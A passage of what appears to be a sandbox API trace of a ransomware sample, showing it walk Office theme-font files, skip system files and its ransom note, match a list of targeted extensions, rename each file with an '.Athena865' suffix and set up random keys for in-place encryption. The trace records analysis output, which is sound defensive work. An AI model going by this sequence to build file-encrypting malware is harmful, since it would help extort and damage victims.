Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.525] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.526] CloseHandle (hObject=0x17c) returned 1 [0137.526] CloseHandle (hObject=0x154) returned 1 [0137.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.526] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2=".") returned 1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="..") returned 1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="windows") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="temp") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="pagefile.sys") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="boot") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="ids.txt") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="perflogs") returned -1 [0137.526] lstrcmpiW (lpString1="Austin.xml", lpString2="MSBuild") returned -1 [0137.526] lstrlenW (lpString="Austin.xml") returned 10 [0137.526] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Austin.xml" | out: lpString1="Austin.xml") returned="Austin.xml" [0137.527] lstrlenW (lpString="Austin.xml") returned 10 [0137.527] lstrlenW (lpString="Athena865") returned 9 [0137.527] lstrcmpiW (lpString1="ustin.xml", lpString2="Athena865") returned 1 [0137.527] lstrlenW (lpString=".dll") returned 4 [0137.527] lstrcmpiW (lpString1="Austin.xml", lpString2=".dll") returned 1 [0137.527] lstrlenW (lpString=".lnk") returned 4 [0137.527] lstrcmpiW (lpString1="Austin.xml", lpString2=".lnk") returned 1 [0137.527] lstrlenW (lpString=".ini") returned 4 [0137.527] lstrcmpiW (lpString1="Austin.xml", lpString2=".ini") returned 1 [0137.527] lstrlenW (lpString=".sys") returned 4 [0137.527] lstrcmpiW (lpString1="Austin.xml", lpString2=".sys") returned 1 [0137.527] lstrlenW (lpString="Austin.xml") returned 10 [0137.527] lstrlenW (lpString="bak") returned 3 [0137.527] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.527] lstrlenW (lpString="ba_") returned 3 [0137.527] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.527] lstrlenW (lpString="dbb") returned 3 [0137.527] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.527] lstrlenW (lpString="vmdk") returned 4 [0137.527] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.527] lstrlenW (lpString="rar") returned 3 [0137.527] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.527] lstrlenW (lpString="zip") returned 3 [0137.527] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.527] lstrlenW (lpString="tgz") returned 3 [0137.527] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.527] lstrlenW (lpString="vbox") returned 4 [0137.527] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.528] lstrlenW (lpString="vdi") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.528] lstrlenW (lpString="vhd") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.528] lstrlenW (lpString="vhdx") returned 4 [0137.528] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.528] lstrlenW (lpString="avhd") returned 4 [0137.528] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.528] lstrlenW (lpString="db") returned 2 [0137.528] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.528] lstrlenW (lpString="db2") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.528] lstrlenW (lpString="db3") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.528] lstrlenW (lpString="dbf") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.528] lstrlenW (lpString="mdf") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.528] lstrlenW (lpString="mdb") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.528] lstrlenW (lpString="sql") returned 3 [0137.528] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.528] lstrlenW (lpString="sqlite") returned 6 [0137.528] lstrcmpiW (lpString1="in.xml", lpString2="sqlite") returned -1 [0137.528] lstrlenW (lpString="sqlite3") returned 7 [0137.528] lstrcmpiW (lpString1="tin.xml", lpString2="sqlite3") returned 1 [0137.528] lstrlenW (lpString="sqlitedb") returned 8 [0137.528] lstrcmpiW (lpString1="stin.xml", lpString2="sqlitedb") returned 1 [0137.529] lstrlenW (lpString="xml") returned 3 [0137.529] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.529] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.Athena865") returned 85 [0137.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.athena865"), dwFlags=0x1) returned 1 [0137.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.531] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3606) returned 1 [0137.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.531] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.532] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.532] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.532] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.534] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.534] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.535] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.535] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.536] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.536] CloseHandle (hObject=0x17c) returned 1 [0137.536] CloseHandle (hObject=0x154) returned 1 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.537] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".") returned 1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="..") returned 1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="windows") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="temp") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="pagefile.sys") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="boot") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ids.txt") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.dat") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="perflogs") returned -1 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2="MSBuild") returned -1 [0137.537] lstrlenW (lpString="Black Tie.xml") returned 13 [0137.537] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Black Tie.xml" | out: lpString1="Black Tie.xml") returned="Black Tie.xml" [0137.537] lstrlenW (lpString="Black Tie.xml") returned 13 [0137.537] lstrlenW (lpString="Athena865") returned 9 [0137.537] lstrcmpiW (lpString1="k Tie.xml", lpString2="Athena865") returned 1 [0137.537] lstrlenW (lpString=".dll") returned 4 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".dll") returned 1 [0137.537] lstrlenW (lpString=".lnk") returned 4 [0137.537] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".lnk") returned 1 [0137.538] lstrlenW (lpString=".ini") returned 4 [0137.538] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".ini") returned 1 [0137.538] lstrlenW (lpString=".sys") returned 4 [0137.538] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".sys") returned 1 [0137.538] lstrlenW (lpString="Black Tie.xml") returned 13 [0137.538] lstrlenW (lpString="bak") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.538] lstrlenW (lpString="ba_") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.538] lstrlenW (lpString="dbb") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.538] lstrlenW (lpString="vmdk") returned 4 [0137.538] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.538] lstrlenW (lpString="rar") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.538] lstrlenW (lpString="zip") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.538] lstrlenW (lpString="tgz") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.538] lstrlenW (lpString="vbox") returned 4 [0137.538] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.538] lstrlenW (lpString="vdi") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.538] lstrlenW (lpString="vhd") returned 3 [0137.538] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.538] lstrlenW (lpString="vhdx") returned 4 [0137.538] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.538] lstrlenW (lpString="avhd") returned 4 [0137.538] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.539] lstrlenW (lpString="db") returned 2 [0137.539] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.539] lstrlenW (lpString="db2") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.539] lstrlenW (lpString="db3") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.539] lstrlenW (lpString="dbf") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.539] lstrlenW (lpString="mdf") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.539] lstrlenW (lpString="mdb") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.539] lstrlenW (lpString="sql") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.539] lstrlenW (lpString="sqlite") returned 6 [0137.539] lstrcmpiW (lpString1="ie.xml", lpString2="sqlite") returned -1 [0137.539] lstrlenW (lpString="sqlite3") returned 7 [0137.539] lstrcmpiW (lpString1="Tie.xml", lpString2="sqlite3") returned 1 [0137.539] lstrlenW (lpString="sqlitedb") returned 8 [0137.539] lstrcmpiW (lpString1=" Tie.xml", lpString2="sqlitedb") returned -1 [0137.539] lstrlenW (lpString="xml") returned 3 [0137.539] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.539] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.Athena865") returned 88 [0137.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.athena865"), dwFlags=0x1) returned 1 [0137.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.541] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3835) returned 1 [0137.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.541] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.542] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.542] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.542] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x17c [0137.544] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0137.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.545] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.545] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.546] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.546] CloseHandle (hObject=0x17c) returned 1 [0137.546] CloseHandle (hObject=0x154) returned 1 [0137.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.546] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0137.546] lstrcmpiW (lpString1="Civic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2=".") returned 1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="..") returned 1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="windows") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr") returned 1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="temp") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="pagefile.sys") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="boot") returned 1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="ids.txt") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="perflogs") returned -1 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2="MSBuild") returned -1 [0137.547] lstrlenW (lpString="Civic.xml") returned 9 [0137.547] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Civic.xml" | out: lpString1="Civic.xml") returned="Civic.xml" [0137.547] lstrlenW (lpString="Civic.xml") returned 9 [0137.547] lstrlenW (lpString="Athena865") returned 9 [0137.547] lstrlenW (lpString=".dll") returned 4 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2=".dll") returned 1 [0137.547] lstrlenW (lpString=".lnk") returned 4 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2=".lnk") returned 1 [0137.547] lstrlenW (lpString=".ini") returned 4 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2=".ini") returned 1 [0137.547] lstrlenW (lpString=".sys") returned 4 [0137.547] lstrcmpiW (lpString1="Civic.xml", lpString2=".sys") returned 1 [0137.547] lstrlenW (lpString="Civic.xml") returned 9 [0137.547] lstrlenW (lpString="bak") returned 3 [0137.547] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.547] lstrlenW (lpString="ba_") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.548] lstrlenW (lpString="dbb") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.548] lstrlenW (lpString="vmdk") returned 4 [0137.548] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.548] lstrlenW (lpString="rar") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.548] lstrlenW (lpString="zip") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.548] lstrlenW (lpString="tgz") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.548] lstrlenW (lpString="vbox") returned 4 [0137.548] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.548] lstrlenW (lpString="vdi") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.548] lstrlenW (lpString="vhd") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.548] lstrlenW (lpString="vhdx") returned 4 [0137.548] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.548] lstrlenW (lpString="avhd") returned 4 [0137.548] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.548] lstrlenW (lpString="db") returned 2 [0137.548] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.548] lstrlenW (lpString="db2") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.548] lstrlenW (lpString="db3") returned 3 [0137.548] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.548] lstrlenW (lpString="dbf") returned 3 [0137.549] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.549] lstrlenW (lpString="mdf") returned 3 [0137.549] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.549] lstrlenW (lpString="mdb") returned 3 [0137.549] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.549] lstrlenW (lpString="sql") returned 3 [0137.549] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.549] lstrlenW (lpString="sqlite") returned 6 [0137.549] lstrcmpiW (lpString1="ic.xml", lpString2="sqlite") returned -1 [0137.549] lstrlenW (lpString="sqlite3") returned 7 [0137.549] lstrcmpiW (lpString1="vic.xml", lpString2="sqlite3") returned 1 [0137.549] lstrlenW (lpString="sqlitedb") returned 8 [0137.549] lstrcmpiW (lpString1="ivic.xml", lpString2="sqlitedb") returned -1 [0137.549] lstrlenW (lpString="xml") returned 3 [0137.549] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.549] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.Athena865") returned 84 [0137.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.athena865"), dwFlags=0x1) returned 1 [0137.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.553] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3615) returned 1 [0137.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.553] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.554] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.554] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.554] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.556] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.558] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, 